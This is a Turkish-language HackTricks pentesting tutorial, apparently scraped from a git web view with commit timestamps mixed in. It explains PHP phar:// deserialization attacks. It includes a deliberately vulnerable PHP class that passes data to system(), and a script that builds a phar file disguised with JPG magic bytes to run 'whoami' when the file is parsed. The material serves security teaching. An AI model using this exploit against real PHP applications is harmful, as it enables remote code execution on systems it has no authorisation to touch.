hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

109 lines
5.3 KiB
Markdown
Raw Normal View History

2022-05-24 00:07:19 +00:00
# phar:// deserialization
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-01 17:15:10 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Ödül avı ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan premium bir **ödül avı platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
**Phar** dosyaları (PHP Arşivi) **serileştirilmiş biçimde meta veri içerir**, bu nedenle ayrıştırıldığında bu **meta veri** **serileştirilir** ve **PHP** kodu içinde bir **serileştirme** zafiyetini kötüye kullanmaya çalışabilirsiniz.
2021-03-19 23:08:07 +00:00
Bu özelliğin en iyi yanı, bu serileştirme işleminin **file\_get\_contents(), fopen(), file() veya file\_exists(), md5\_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP işlevlerini kullanarak bile gerçekleşecek olmasıdır.
2021-03-19 23:08:07 +00:00
Dolayısıyla, **`phar://`** protokolünü kullanarak bir PHP web sitesinin bir dosyanın boyutunu almasını sağlayabileceğiniz bir durumu hayal edin ve kod içinde aşağıdaki gibi bir **sınıf** bulursunuz:
2021-03-19 23:08:07 +00:00
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
2024-02-10 18:14:16 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
**phar** dosyası oluşturabilirsiniz ve yüklendiğinde bu sınıfı kötüye kullanarak şöyle bir şey yapabilirsiniz:
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```php
<?php
class AnyClass {
2024-02-10 18:14:16 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
Not alınan dosyanın başına **JPG'nin sihirli baytları** (`\xff\xd8\xff`) eklenerek **mümkün olabilecek** dosya **yükleme** **kısıtlamaları** **atlatılır**.\
`test.phar` dosyasını şu şekilde **derleyin**:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_phar.php
```
Ve `whoami` komutunu kötü niyetli kodu istismar ederek çalıştırın:
2021-03-19 23:08:07 +00:00
```bash
php vuln.php
```
2024-02-10 18:14:16 +00:00
### Referanslar
2021-03-19 23:08:07 +00:00
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
2021-03-19 23:08:07 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-01 17:15:10 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
2022-04-28 16:01:33 +00:00
</details>